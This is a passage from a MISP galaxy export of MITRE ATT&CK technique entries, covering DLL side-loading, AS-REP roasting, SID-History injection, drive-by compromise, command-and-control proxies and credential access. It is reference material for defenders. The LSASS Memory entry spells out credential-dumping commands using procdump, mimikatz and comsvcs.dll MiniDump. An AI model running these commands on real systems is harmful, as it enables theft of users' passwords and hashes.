https://attack.mitre.org/techniques/T1608/004
https://cybersecurity.att.com/blogs/labs-research/scanbox-a-reconnaissance-framework-used-on-watering-hole-attacks
https://www.fireeye.com/blog/threat-research/2012/12/council-foreign-relations-water-hole-attack-details.html

Non-Standard Encoding - T1132.002

Adversaries may encode data with a non-standard data encoding system to make the content of command and control traffic more difficult to detect. Command and control (C2) information can be encoded using a non-standard data encoding system that diverges from existing protocol specifications. Non-standard data encoding schemes may be based on or related to standard data encoding schemes, such as a modified Base64 encoding for the message body of an HTTP request.(Citation: Wikipedia Binary-to-text Encoding) (Citation: Wikipedia Character Encoding)

The tag is: *misp-galaxy:mitre-attack-pattern="Non-Standard Encoding - T1132.002"*

Table 4177. Table References

Links
https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf
https://attack.mitre.org/techniques/T1132/002
https://en.wikipedia.org/wiki/Binary-to-text_encoding
https://en.wikipedia.org/wiki/Character_encoding

SID-History Injection - T1134.005

Adversaries may use SID-History Injection to escalate privileges and bypass access controls. The Windows security identifier (SID) is a unique value that identifies a user or group account. SIDs are used by Windows security in both security descriptors and access tokens. (Citation: Microsoft SID) An account can hold additional SIDs in the SID-History Active Directory attribute (Citation: Microsoft SID-History Attribute), allowing inter-operable account migration between domains (e.g., all values in SID-History are included in access tokens).

With Domain Administrator (or equivalent) rights, harvested or well-known SID values (Citation: Microsoft Well Known SIDs Jun 2017) may be inserted into SID-History to enable impersonation of arbitrary users/groups such as Enterprise Administrators. This manipulation may result in elevated access to local resources and/or access to otherwise inaccessible domains via lateral movement techniques such as [Remote Services](https://attack.mitre.org/techniques/T1021), [SMB/Windows Admin Shares](https://attack.mitre.org/techniques/T1021/002), or [Windows Remote Management](https://attack.mitre.org/techniques/T1021/006).

The tag is: *misp-galaxy:mitre-attack-pattern="SID-History Injection - T1134.005"*

Table 4178. Table References

Links
https://adsecurity.org/?p=1772
https://attack.mitre.org/techniques/T1134/005
https://msdn.microsoft.com/library/ms677982.aspx
https://msdn.microsoft.com/library/ms679833.aspx
https://msdn.microsoft.com/library/windows/desktop/aa379571.aspx
https://support.microsoft.com/help/243330/well-known-security-identifiers-in-windows-operating-systems
https://technet.microsoft.com/library/ee617241.aspx

DLL Side-Loading - T1574.002

Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to [DLL Search Order Hijacking](https://attack.mitre.org/techniques/T1574/001), side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).

Side-loading takes advantage of the DLL search order used by the loader by positioning both the victim application and malicious payload(s) alongside each other. Adversaries likely use side-loading as a means of masking actions they perform under a legitimate, trusted, and potentially elevated system or software process. Benign executables used to side-load payloads may not be flagged during delivery and/or execution. Adversary payloads may also be encrypted/packed or otherwise obfuscated until loaded into the memory of the trusted process.(Citation: FireEye DLL Side-Loading)

The tag is: *misp-galaxy:mitre-attack-pattern="DLL Side-Loading - T1574.002"*

Table 4179. Table References

Links
https://attack.mitre.org/techniques/T1574/002
https://capec.mitre.org/data/definitions/641.html
https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/rpt-dll-sideloading.pdf

AS-REP Roasting - T1558.004

Adversaries may reveal credentials of accounts that have disabled Kerberos preauthentication by [Password Cracking](https://attack.mitre.org/techniques/T1110/002) Kerberos messages.(Citation: Harmj0y Roasting AS-REPs Jan 2017)

Preauthentication offers protection against offline [Password Cracking](https://attack.mitre.org/techniques/T1110/002). When enabled, a user requesting access to a resource initiates communication with the Domain Controller (DC) by sending an Authentication Server Request (AS-REQ) message with a timestamp that is encrypted with the hash of their password. If and only if the DC is able to successfully decrypt the timestamp with the hash of the user's password, it will then send an Authentication Server Response (AS-REP) message that contains the Ticket Granting Ticket (TGT) to the user. Part of the AS-REP message is signed with the user's password.(Citation: Microsoft Kerberos Preauth 2014)

For each account found without preauthentication, an adversary may send an AS-REQ message without the encrypted timestamp and receive an AS-REP message with TGT data which may be encrypted with an insecure algorithm such as RC4. The recovered encrypted data may be vulnerable to offline [Password Cracking](https://attack.mitre.org/techniques/T1110/002) attacks similarly to [Kerberoasting](https://attack.mitre.org/techniques/T1558/003) and expose plaintext credentials. (Citation: Harmj0y Roasting AS-REPs Jan 2017)(Citation: Stealthbits Cracking AS-REP Roasting Jun 2019)

An account registered to a domain, with or without special privileges, can be abused to list all domain accounts that have preauthentication disabled by utilizing Windows tools like [PowerShell](https://attack.mitre.org/techniques/T1059/001) with an LDAP filter. Alternatively, the adversary may send an AS-REQ message for each user. If the DC responds without errors, the account does not require preauthentication and the AS-REP message will already contain the encrypted data. (Citation: Harmj0y Roasting AS-REPs Jan 2017)(Citation: Stealthbits Cracking AS-REP Roasting Jun 2019)

Cracked hashes may enable [Persistence](https://attack.mitre.org/tactics/TA0003), [Privilege Escalation](https://attack.mitre.org/tactics/TA0004), and [Lateral Movement](https://attack.mitre.org/tactics/TA0008) via access to [Valid Accounts](https://attack.mitre.org/techniques/T1078).(Citation: SANS Attacking Kerberos Nov 2014)

The tag is: *misp-galaxy:mitre-attack-pattern="AS-REP Roasting - T1558.004"*

Table 4180. Table References

Links
http://www.harmj0y.net/blog/activedirectory/roasting-as-reps/
https://adsecurity.org/?p=2293
https://attack.mitre.org/techniques/T1558/004
https://blog.stealthbits.com/cracking-active-directory-passwords-with-as-rep-roasting/
https://blogs.technet.microsoft.com/motiba/2018/02/23/detecting-kerberoasting-activity-using-azure-security-center/
https://docs.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4768
https://redsiege.com/kerberoast-slides
https://social.technet.microsoft.com/wiki/contents/articles/23559.kerberos-pre-authentication-why-it-should-not-be-disabled.aspx

Re-opened Applications - T1547.007

Adversaries may modify plist files to automatically run an application when a user logs in. When a user logs out or restarts via the macOS Graphical User Interface (GUI), a prompt is provided to the user with a checkbox to "Reopen windows when logging back in".(Citation: Re-Open windows on Mac) When selected, all applications currently open are added to a property list file named <code>com.apple.loginwindow.[UUID].plist</code> within the <code>~/Library/Preferences/ByHost</code> directory.(Citation: Methods of Mac Malware Persistence)(Citation: Wardle Persistence Chapter) Applications listed in this file are automatically reopened upon the user's next logon.

Adversaries can establish [Persistence](https://attack.mitre.org/tactics/TA0003) by adding a malicious application path to the <code>com.apple.loginwindow.[UUID].plist</code> file to execute payloads when a user logs in.

The tag is: *misp-galaxy:mitre-attack-pattern="Re-opened Applications - T1547.007"*

Table 4181. Table References

Links
https://attack.mitre.org/techniques/T1547/007
https://support.apple.com/en-us/HT204005

https://taomm.org/PDFs/vol1/CH%200x02%20Persistence.pdf
https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf

Obtain/re-use payloads - T1346

This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1346).

A payload is the part of the malware which performs a malicious action. The adversary may re-use payloads when the needed capability is already available. (Citation: SonyDestover)

The tag is: *misp-galaxy:mitre-attack-pattern="Obtain/re-use payloads - T1346"*

Table 4182. Table References

Links
https://attack.mitre.org/techniques/T1346

Multi-Stage Channels - T1104

Adversaries may create multiple stages for command and control that are employed under different conditions or for certain functions. Use of multiple stages may obfuscate the command and control channel to make detection more difficult.

Remote access tools will call back to the first-stage command and control server for instructions. The first stage may have automated capabilities to collect basic host information, update tools, and upload additional files. A second remote access tool (RAT) could be uploaded at that point to redirect the host to the second-stage command and control server. The second stage will likely be more fully featured and allow the adversary to interact with the system through a reverse shell and additional RAT features.

The different stages will likely be hosted separately with no overlapping infrastructure. The loader may also have backup first-stage callbacks or [Fallback Channels](https://attack.mitre.org/techniques/T1008) in case the original first-stage communication path is discovered and blocked.

The tag is: *misp-galaxy:mitre-attack-pattern="Multi-Stage Channels - T1104"*

Table 4183. Table References

Links
https://attack.mitre.org/techniques/T1104

DLL Side-Loading - T1073

Programs may specify DLLs that are loaded at runtime. Programs that improperly or vaguely specify a required DLL may be open to a vulnerability in which an unintended DLL is loaded. Side-loading vulnerabilities specifically occur when Windows Side-by-Side (WinSxS) manifests (Citation:

MSDN Manifests) are not explicit enough about characteristics of the DLL to be loaded. Adversaries may take advantage of a legitimate program that is vulnerable to side-loading to load a malicious DLL. (Citation: Stewart 2014)

Adversaries likely use this technique as a means of masking actions they perform under a legitimate, trusted system or software process.

The tag is: *misp-galaxy:mitre-attack-pattern="DLL Side-Loading - T1073"*

View relationships graph

DLL Side-Loading - T1073 has relationships with:

- revoked-by: misp-galaxy:mitre-attack-pattern="DLL Side-Loading - T1574.002" with estimative-language:likelihood-probability="almost-certain"

Table 4184. Table References

Links
https://attack.mitre.org/techniques/T1073
https://capec.mitre.org/data/definitions/641.html
https://msdn.microsoft.com/en-us/library/aa375365
https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/rpt-dll-sideloading.pdf

Command-Line Interface - T1605

Adversaries may use built-in command-line interfaces to interact with the device and execute commands. Android provides a bash shell that can be interacted with over the Android Debug Bridge (ADB) or programmatically using Java's `Runtime` package. On iOS, adversaries can interact with the underlying runtime shell if the device has been jailbroken.

If the device has been rooted or jailbroken, adversaries may locate and invoke a superuser binary to elevate their privileges and interact with the system as the root user. This dangerous level of permissions allows the adversary to run special commands and modify protected system files.

The tag is: *misp-galaxy:mitre-attack-pattern="Command-Line Interface - T1605"*

Table 4185. Table References

Links
https://attack.mitre.org/techniques/T1605

Re-opened Applications - T1164

Starting in Mac OS X 10.7 (Lion), users can specify certain applications to be re-opened when a user reboots their machine. While this is usually done via a Graphical User Interface (GUI) on an app-by-app basis, there are property list files (plist) that contain this information as well located at

<code>~/Library/Preferences/com.apple.loginwindow.plist</code> and <code>~/Library/Preferences/ByHost/com.apple.loginwindow.* .plist</code>.

An adversary can modify one of these files directly to include a link to their malicious executable to provide a persistence mechanism each time the user reboots their machine (Citation: Methods of Mac Malware Persistence).

The tag is: *misp-galaxy:mitre-attack-pattern="Re-opened Applications - T1164"*

View relationships graph

Re-opened Applications - T1164 has relationships with:

- revoked-by: misp-galaxy:mitre-attack-pattern="Re-opened Applications - T1547.007" with estimative-language:likelihood-probability="almost-certain"

Table 4186. Table References

Links
https://attack.mitre.org/techniques/T1164
https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf

Non-Standard Port - T1571

Adversaries may communicate using a protocol and port paring that are typically not associated. For example, HTTPS over port 8088(Citation: Symantec Elfin Mar 2019) or port 587(Citation: Fortinet Agent Tesla April 2018) as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.

The tag is: *misp-galaxy:mitre-attack-pattern="Non-Standard Port - T1571"*

Table 4187. Table References

Links
https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf
https://attack.mitre.org/techniques/T1571
https://www.fortinet.com/blog/threat-research/analysis-of-new-agent-tesla-spyware-variant.html
https://www.symantec.com/blogs/threat-intelligence/elfin-apt33-espionage

SID-History Injection - T1178

The Windows security identifier (SID) is a unique value that identifies a user or group account. SIDs are used by Windows security in both security descriptors and access tokens. (Citation: Microsoft SID) An account can hold additional SIDs in the SID-History Active Directory attribute (Citation: Microsoft SID-History Attribute), allowing inter-operable account migration between domains (e.g., all values in SID-History are included in access tokens).

Adversaries may use this mechanism for privilege escalation. With Domain Administrator (or equivalent) rights, harvested or well-known SID values (Citation: Microsoft Well Known SIDs Jun 2017) may be inserted into SID-History to enable impersonation of arbitrary users/groups such as Enterprise Administrators. This manipulation may result in elevated access to local resources and/or access to otherwise inaccessible domains via lateral movement techniques such as [Remote Services](https://attack.mitre.org/techniques/T1021), [Windows Admin Shares](https://attack.mitre.org/techniques/T1077), or [Windows Remote Management](https://attack.mitre.org/techniques/T1028).

The tag is: *misp-galaxy:mitre-attack-pattern="SID-History Injection - T1178"*

View relationships graph

SID-History Injection - T1178 has relationships with:

- revoked-by: misp-galaxy:mitre-attack-pattern="SID-History Injection - T1134.005" with estimative-language:likelihood-probability="almost-certain"

Table 4188. Table References

Links
https://adsecurity.org/?p=1772
https://attack.mitre.org/techniques/T1178
https://msdn.microsoft.com/library/ms677982.aspx
https://msdn.microsoft.com/library/ms679833.aspx
https://msdn.microsoft.com/library/windows/desktop/aa379571.aspx
https://support.microsoft.com/help/243330/well-known-security-identifiers-in-windows-operating-systems
https://technet.microsoft.com/library/ee617241.aspx

Multi-hop Proxy - T1188

To disguise the source of malicious traffic, adversaries may chain together multiple proxies. Typically, a defender will be able to identify the last proxy traffic traversed before it enters their network; the defender may or may not be able to identify any previous proxies before the last-hop proxy. This technique makes identifying the original source of the malicious traffic even more difficult by requiring the defender to trace malicious traffic through several proxies to identify its source.

The tag is: *misp-galaxy:mitre-attack-pattern="Multi-hop Proxy - T1188"*

View relationships graph

Multi-hop Proxy - T1188 has relationships with:

- revoked-by: misp-galaxy:mitre-attack-pattern="Multi-hop Proxy - T1090.003" with estimative-language:likelihood-probability="almost-certain"

Table 4189. Table References

Links
https://attack.mitre.org/techniques/T1188

Drive-by Compromise - T1189

Adversaries may gain access to a system through a user visiting a website over the normal course of browsing. With this technique, the user's web browser is typically targeted for exploitation, but adversaries may also use compromised websites for non-exploitation behavior such as acquiring [Application Access Token](https://attack.mitre.org/techniques/T1550/001).

Multiple ways of delivering exploit code to a browser exist, including:

- A legitimate website is compromised where adversaries have injected some form of malicious code such as JavaScript, iFrames, and cross-site scripting.
- Malicious ads are paid for and served through legitimate ad providers.
- Built-in web application interfaces are leveraged for the insertion of any other kind of object that can be used to display web content or contain a script that executes on the visiting client (e.g. forum posts, comments, and other user controllable web content).

Often the website used by an adversary is one visited by a specific community, such as government, a particular industry, or region, where the goal is to compromise a specific user or set of users based on a shared interest. This kind of targeted campaign is often referred to a strategic web compromise or watering hole attack. There are several known examples of this occurring.(Citation: Shadowserver Strategic Web Compromise)

Typical drive-by compromise process:

1. A user visits a website that is used to host the adversary controlled content.
2. Scripts automatically execute, typically searching versions of the browser and plugins for a potentially vulnerable version.
    - The user may be required to assist in this process by enabling scripting or active website components and ignoring warning dialog boxes.
3. Upon finding a vulnerable version, exploit code is delivered to the browser.
4. If exploitation is successful, then it will give the adversary code execution on the user's system unless other protections are in place.
    - In some cases a second visit to the website after the initial scan is required before exploit code is delivered.

Unlike [Exploit Public-Facing Application](https://attack.mitre.org/techniques/T1190), the focus of this technique is to exploit software on a client endpoint upon visiting a website. This will commonly give an adversary access to systems on the internal network instead of external systems that may be in a DMZ.

Adversaries may also use compromised websites to deliver a user to a malicious application designed to [Steal Application Access Token](https://attack.mitre.org/techniques/T1528)s, like OAuth tokens, to gain access to protected applications and information. These malicious applications have been delivered through popups on legitimate websites.(Citation: Volexity OceanLotus Nov 2017)

The tag is: *misp-galaxy:mitre-attack-pattern="Drive-by Compromise - T1189"*

Table 4190. Table References

Links
http://blog.shadowserver.org/2012/05/15/cyber-espionage-strategic-web-compromises-trusted-websites-serving-dangerous-results/
https://attack.mitre.org/techniques/T1189
https://www.volexity.com/blog/2017/11/06/oceanlotus-blossoms-mass-digital-surveillance-and-exploitation-of-asean-nations-the-media-human-rights-and-civil-society/

Pre-OS Boot - T1542

Adversaries may abuse Pre-OS Boot mechanisms as a way to establish persistence on a system. During the booting process of a computer, firmware and various startup services are loaded before the operating system. These programs control flow of execution before the operating system takes control.(Citation: Wikipedia Booting)

Adversaries may overwrite data in boot drivers or firmware such as BIOS (Basic Input/Output System) and The Unified Extensible Firmware Interface (UEFI) to persist on systems at a layer below the operating system. This can be particularly difficult to detect as malware at this level will not be detected by host software-based defenses.

The tag is: *misp-galaxy:mitre-attack-pattern="Pre-OS Boot - T1542"*

Table 4191. Table References

Links
https://attack.mitre.org/techniques/T1542
https://en.wikipedia.org/wiki/Booting
https://www.itworld.com/article/2853992/3-tools-to-check-your-hard-drives-health-and-make-sure-its-not-already-dying-on-you.html

Drive-by Compromise - T1456

As described by [Drive-by Compromise](https://attack.mitre.org/techniques/T1189), a drive-by compromise is when an adversary gains access to a system through a user visiting a website over the normal course of browsing. With this technique, the user's web browser is targeted for exploitation. For example, a website may contain malicious media content intended to exploit vulnerabilities in media parsers as demonstrated by the Android Stagefright vulnerability (Citation: Zimperium-Stagefright).

(This technique was formerly known as Malicious Web Content. It has been renamed to better align with ATT&CK for Enterprise.)

The tag is: *misp-galaxy:mitre-attack-pattern="Drive-by Compromise - T1456"*

Table 4192. Table References

Links
https://attack.mitre.org/techniques/T1456
https://blog.zimperium.com/experts-found-a-unicorn-in-the-heart-of-android/
https://pages.nist.gov/mobile-threat-catalogue/cellular-threats/CEL-22.html

Inter-Process Communication - T1559

Adversaries may abuse inter-process communication (IPC) mechanisms for local code or command execution. IPC is typically used by processes to share data, communicate with each other, or synchronize execution. IPC is also commonly used to avoid situations such as deadlocks, which occurs when processes are stuck in a cyclic waiting pattern.

Adversaries may abuse IPC to execute arbitrary code or commands. IPC mechanisms may differ depending on OS, but typically exists in a form accessible through programming languages/libraries or native interfaces such as Windows [Dynamic Data Exchange](https://attack.mitre.org/techniques/T1559/002) or [Component Object Model](https://attack.mitre.org/techniques/T1559/001). Linux environments support several different IPC mechanisms, two of which being sockets and pipes.(Citation: Linux IPC) Higher level execution mediums, such as those of [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059)s, may also leverage underlying IPC mechanisms. Adversaries may also use [Remote Services](https://attack.mitre.org/techniques/T1021) such as [Distributed Component Object Model](https://attack.mitre.org/techniques/T1021/003) to facilitate remote IPC execution.(Citation: Fireeye Hunting COM June 2019)

The tag is: *misp-galaxy:mitre-attack-pattern="Inter-Process Communication - T1559"*

Table 4193. Table References

Links
https://attack.mitre.org/techniques/T1559
https://www.fireeye.com/blog/threat-research/2019/06/hunting-com-objects.html
https://www.geeksforgeeks.org/inter-process-communication-ipc/ : :text=Inter%2Dprocess%20communication%20(IPC),of%20co%2Doperation%20between%20them.[https://www.geeksforgeeks.org/inter-process-communication-ipc/ : :text=Inter%2Dprocess%20communication%20(IPC),of%20co%2Doperation%20between%20them.]

Token Impersonation/Theft - T1134.001

Adversaries may duplicate then impersonate another user's token to escalate privileges and bypass access controls. An adversary can create a new access token that duplicates an existing token using <code>DuplicateToken(Ex)</code>. The token can then be used with <code>ImpersonateLoggedOnUser</code> to allow the calling thread to impersonate a logged on user's security context, or with <code>SetThreadToken</code> to assign the impersonated token to a thread.

An adversary may do this when they have a specific, existing process they want to assign the new token to. For example, this may be useful for when the target user has a non-network logon session on the system.

The tag is: *misp-galaxy:mitre-attack-pattern="Token Impersonation/Theft - T1134.001"*

Table 4194. Table References

Links
https://attack.mitre.org/techniques/T1134/001
https://technet.microsoft.com/en-us/windows-server-docs/identity/ad-ds/manage/component-updates/command-line-process-auditing

DNS/Passive DNS - T1596.001

Adversaries may search DNS data for information about victims that can be used during targeting. DNS information may include a variety of details, including registered name servers as well as records that outline addressing for a target's subdomains, mail servers, and other hosts.

Adversaries may search DNS data to gather actionable information. Threat actors can query nameservers for a target organization directly, or search through centralized repositories of logged DNS query responses (known as passive DNS).(Citation: DNS Dumpster)(Citation: Circl Passive DNS) Adversaries may also seek and target DNS misconfigurations/leaks that reveal information about internal networks. Information from these sources may reveal opportunities for other forms of reconnaissance (ex: [Search Victim-Owned Websites](https://attack.mitre.org/techniques/T1594) or [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)), establishing operational resources (ex: [Acquire Infrastructure](https://attack.mitre.org/techniques/T1583) or [Compromise Infrastructure](https://attack.mitre.org/techniques/T1584)), and/or initial access (ex: [External Remote Services](https://attack.mitre.org/techniques/T1133) or [Trusted Relationship](https://attack.mitre.org/techniques/T1199)).

The tag is: *misp-galaxy:mitre-attack-pattern="DNS/Passive DNS - T1596.001"*

Table 4195. Table References

Links
https://attack.mitre.org/techniques/T1596/001
https://dnsdumpster.com/
https://www.circl.lu/services/passive-dns/

Junk Data - T1001.001

Adversaries may add junk data to protocols used for command and control to make detection more difficult. By adding random or meaningless data to the protocols used for command and control, adversaries can prevent trivial methods for decoding, deciphering, or otherwise analyzing the traffic. Examples may include appending/prepending data with junk characters or writing junk characters between significant characters.

The tag is: *misp-galaxy:mitre-attack-pattern="Junk Data - T1001.001"*

Table 4196. Table References

Links
https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf
https://attack.mitre.org/techniques/T1001/001

Traffic Duplication - T1020.001

Adversaries may leverage traffic mirroring in order to automate data exfiltration over compromised network infrastructure. Traffic mirroring is a native feature for some network devices and used for network analysis and may be configured to duplicate traffic and forward to one or more destinations for analysis by a network analyzer or other monitoring device. (Citation: Cisco Traffic Mirroring)(Citation: Juniper Traffic Mirroring)

Adversaries may abuse traffic mirroring to mirror or redirect network traffic through other network infrastructure they control. Malicious modifications to network devices to enable traffic redirection may be possible through [ROMMONkit](https://attack.mitre.org/techniques/T1542/004) or [Patch System Image](https://attack.mitre.org/techniques/T1601/001).(Citation: US-CERT-TA18-106A)(Citation: Cisco Blog Legacy Device Attacks) Adversaries may use traffic duplication in conjunction with [Network Sniffing](https://attack.mitre.org/techniques/T1040), [Input Capture](https://attack.mitre.org/techniques/T1056), or [Adversary-in-the-Middle](https://attack.mitre.org/techniques/T1557) depending on the goals and objectives of the adversary.

The tag is: *misp-galaxy:mitre-attack-pattern="Traffic Duplication - T1020.001"*

Table 4197. Table References

Links
https://attack.mitre.org/techniques/T1020/001
https://capec.mitre.org/data/definitions/117.html
https://community.cisco.com/t5/security-blogs/attackers-continue-to-target-legacy-devices/ba-p/4169954
https://www.cisco.com/c/en/us/td/docs/routers/crs/software/crs_r5-1/interfaces/configuration/guide/hc51xcrsbook/hc51span.html
https://www.juniper.net/documentation/en_US/junos/topics/concept/port-mirroring-ex-series.html
https://www.us-cert.gov/ncas/alerts/TA18-106A

LSASS Memory - T1003.001

Adversaries may attempt to access credential material stored in the process memory of the Local Security Authority Subsystem Service (LSASS). After a user logs on, the system generates and stores a variety of credential materials in LSASS process memory. These credential materials can be harvested by an administrative user or SYSTEM and used to conduct [Lateral Movement](https://attack.mitre.org/tactics/TA0008) using [Use Alternate Authentication Material](https://attack.mitre.org/techniques/T1550).

As well as in-memory techniques, the LSASS process memory can be dumped from the target host and analyzed on a local system.

For example, on the target host use procdump:

- <code>procdump -ma lsass.exe lsass_dump</code>

Locally, mimikatz can be run using:

- <code>sekurlsa::Minidump lsassdump.dmp</code>
- <code>sekurlsa::logonPasswords</code>

Built-in Windows tools such as comsvcs.dll can also be used:

- <code>rundll32.exe C:\Windows\System32\comsvcs.dll MiniDump PID lsass.dmp full</code>(Citation: Volexity Exchange Marauder March 2021)(Citation: Symantec Attacks Against Government Sector)

Windows Security Support Provider (SSP) DLLs are loaded into LSSAS process at system start. Once loaded into the LSA, SSP DLLs have access to encrypted and plaintext passwords that are stored in Windows, such as any logged-on user's Domain password or smart card PINs. The SSP configuration is stored in two Registry keys: <code>HKLM\SYSTEM\CurrentControlSet\Control\Lsa\Security Packages</code> and <code>HKLM\SYSTEM\CurrentControlSet\Control\Lsa\OSConfig\Security Packages</code>. An adversary may modify these Registry keys to add new SSPs, which will be loaded the next time the system boots, or when the AddSecurityPackage Windows API function is called.(Citation: Graeber 2014)

The following SSPs can be used to access credentials:

- Msv: Interactive logons, batch logons, and service logons are done through the MSV authentication package.
- Wdigest: The Digest Authentication protocol is designed for use with Hypertext Transfer Protocol (HTTP) and Simple Authentication Security Layer (SASL) exchanges.(Citation: TechNet Blogs Credential Protection)
- Kerberos: Preferred for mutual client-server domain authentication in Windows 2000 and later.
- CredSSP: Provides SSO and Network Level Authentication for Remote Desktop Services.(Citation: TechNet Blogs Credential Protection)

The tag is: *misp-galaxy:mitre-attack-pattern="LSASS Memory - T1003.001"*

Table 4198. Table References

Links
http://docplayer.net/20839173-Analysis-of-malicious-security-support-provider-dlls.html
https://attack.mitre.org/techniques/T1003/001
https://blogs.technet.microsoft.com/askpfeplat/2016/04/18/the-importance-of-kb2871997-and-kb2928120-for-credential-protection/
https://github.com/mattifestation/PowerSploit
https://medium.com/threatpunter/detecting-attempts-to-steal-passwords-from-memory-558f16dce4ea
https://symantec.broadcom.com/hubfs/Attacks-Against-Government-Sector.pdf
https://www.volexity.com/blog/2021/03/02/active-exploitation-of-microsoft-exchange-zero-day-vulnerabilities/

Protocol Impersonation - T1001.003

Adversaries may impersonate legitimate protocols or web service traffic to disguise command and control activity and thwart analysis efforts. By impersonating legitimate protocols or web services, adversaries can make their command and control traffic blend in with legitimate network traffic.

Adversaries may impersonate a fake SSL/TLS handshake to make it look like subsequent traffic is SSL/TLS encrypted, potentially interfering with some security tooling, or to make the traffic look like it is related with a trusted entity.

The tag is: *misp-galaxy:mitre-attack-pattern="Protocol Impersonation - T1001.003"*

Table 4199. Table References

Links
https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf
https://attack.mitre.org/techniques/T1001/003

Internal Proxy - T1090.001

Adversaries may use an internal proxy to direct command and control traffic between two or more systems in a compromised environment. Many tools exist that enable traffic redirection through proxies or port redirection, including [HTRAN](https://attack.mitre.org/software/S0040), ZXProxy, and ZXPortMap. (Citation: Trend Micro APT Attack Tools) Adversaries use internal proxies to manage command and control communications inside a compromised environment, to reduce the number of simultaneous outbound network connections, to provide resiliency in the face of connection loss, or to ride over existing trusted communications paths between infected systems to avoid suspicion. Internal proxy connections may use common peer-to-peer (p2p) networking protocols, such as SMB, to better blend in with the environment.

By using a compromised internal system as a proxy, adversaries may conceal the true destination of C2 traffic while reducing the need for numerous connections to external systems.

The tag is: *misp-galaxy:mitre-attack-pattern="Internal Proxy - T1090.001"*

Table 4200. Table References

Links
http://blog.trendmicro.com/trendlabs-security-intelligence/in-depth-look-apt-attack-tools-of-the-trade/
https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf
https://attack.mitre.org/techniques/T1090/001

External Proxy - T1090.002

Adversaries may use an external proxy to act as an intermediary for network communications to a command and control server to avoid direct connections to their infrastructure. Many tools exist that enable traffic redirection through proxies or port redirection, including [HTRAN](https://attack.mitre.org/software/S0040), ZXProxy, and ZXPortMap. (Citation: Trend Micro APT Attack Tools) Adversaries use these types of proxies to manage command and control communications, to provide resiliency in the face of connection loss, or to ride over existing trusted communications paths to avoid suspicion.

External connection proxies are used to mask the destination of C2 traffic and are typically implemented with port redirectors. Compromised systems outside of the victim environment may be used for these purposes, as well as purchased infrastructure such as cloud-based resources or virtual private servers. Proxies may be chosen based on the low likelihood that a connection to them from a compromised system would be investigated. Victim systems would communicate directly with the external proxy on the Internet and then the proxy would forward communications to the C2 server.

The tag is: *misp-galaxy:mitre-attack-pattern="External Proxy - T1090.002"*

Table 4201. Table References

Links
http://blog.trendmicro.com/trendlabs-security-intelligence/in-depth-look-apt-attack-tools-of-the-trade/
https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf
https://attack.mitre.org/techniques/T1090/002

LSA Secrets - T1003.004

Adversaries with SYSTEM access to a host may attempt to access Local Security Authority (LSA) secrets, which can contain a variety of different credential materials, such as credentials for service accounts.(Citation: Passcape LSA Secrets)(Citation: Microsoft AD Admin Tier Model)(Citation: Tilbury Windows Credentials) LSA secrets are stored in the registry at

<code>HKEY_LOCAL_MACHINE\SECURITY\Policy\Secrets</code>. LSA secrets can also be dumped from memory.(Citation: ired Dumping LSA Secrets)

[Reg](https://attack.mitre.org/software/S0075) can be used to extract from the Registry. [Mimikatz](https://attack.mitre.org/software/S0002) can be used to extract secrets from memory.(Citation: ired Dumping LSA Secrets)

The tag is: *misp-galaxy:mitre-attack-pattern="LSA Secrets - T1003.004"*

Table 4202. Table References

Links
https://attack.mitre.org/techniques/T1003/004
https://docs.microsoft.com/en-us/windows-server/identity/securing-privileged-access/securing-privileged-access-reference-material?redirectedfrom=MSDN
https://github.com/mattifestation/PowerSploit
https://ired.team/offensive-security/credential-access-and-credential-dumping/dumping-lsa-secrets
https://www.first.org/resources/papers/conf2017/Windows-Credentials-Attacks-and-Mitigation-Techniques.pdf
https://www.passcape.com/index.php?section=docsys&cmd=details&id=23

Proc Filesystem - T1003.007

Adversaries may gather credentials from information stored in the Proc filesystem or <code>/proc</code>. The Proc filesystem on Linux contains a great deal of information regarding the state of the running operating system. Processes running with root privileges can use this facility to scrape live memory of other running programs. If any of these programs store passwords in clear text or password hashes in memory, these values can then be harvested for either usage or brute force attacks, respectively.

This functionality has been implemented in the MimiPenguin(Citation: MimiPenguin GitHub May 2017), an open source tool inspired by Mimikatz. The tool dumps process memory, then harvests passwords and hashes by looking for text strings and regex patterns for how given applications such as Gnome Keyring, sshd, and Apache use memory to store such authentication artifacts.

The tag is: *misp-galaxy:mitre-attack-pattern="Proc Filesystem - T1003.007"*

Table 4203. Table References

Links
https://attack.mitre.org/techniques/T1003/007
https://github.com/huntergregal/mimipenguin

File Deletion - T1070.004

Adversaries may delete files left behind by the actions of their intrusion activity. Malware, tools, or other non-native files dropped or created on a system by an adversary (ex: [Ingress Tool Transfer](https://attack.mitre.org/techniques/T1105)) may leave traces to indicate to what was done within a network and how. Removal of these files can occur during an intrusion, or as part of a post-intrusion process to minimize the adversary's footprint.

There are tools available from the host operating system to perform cleanup, but adversaries may use other tools as well.(Citation: Microsoft SDelete July 2016) Examples of built-in [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059) functions include <code>del</code> on Windows and <code>rm</code> or <code>unlink</code> on Linux and macOS.

The tag is: *misp-galaxy:mitre-attack-pattern="File Deletion - T1070.004"*

Table 4204. Table References

Links
https://attack.mitre.org/techniques/T1070/004
https://docs.microsoft.com/en-us/sysinternals/downloads/sdelete

Domain Fronting - T1090.004

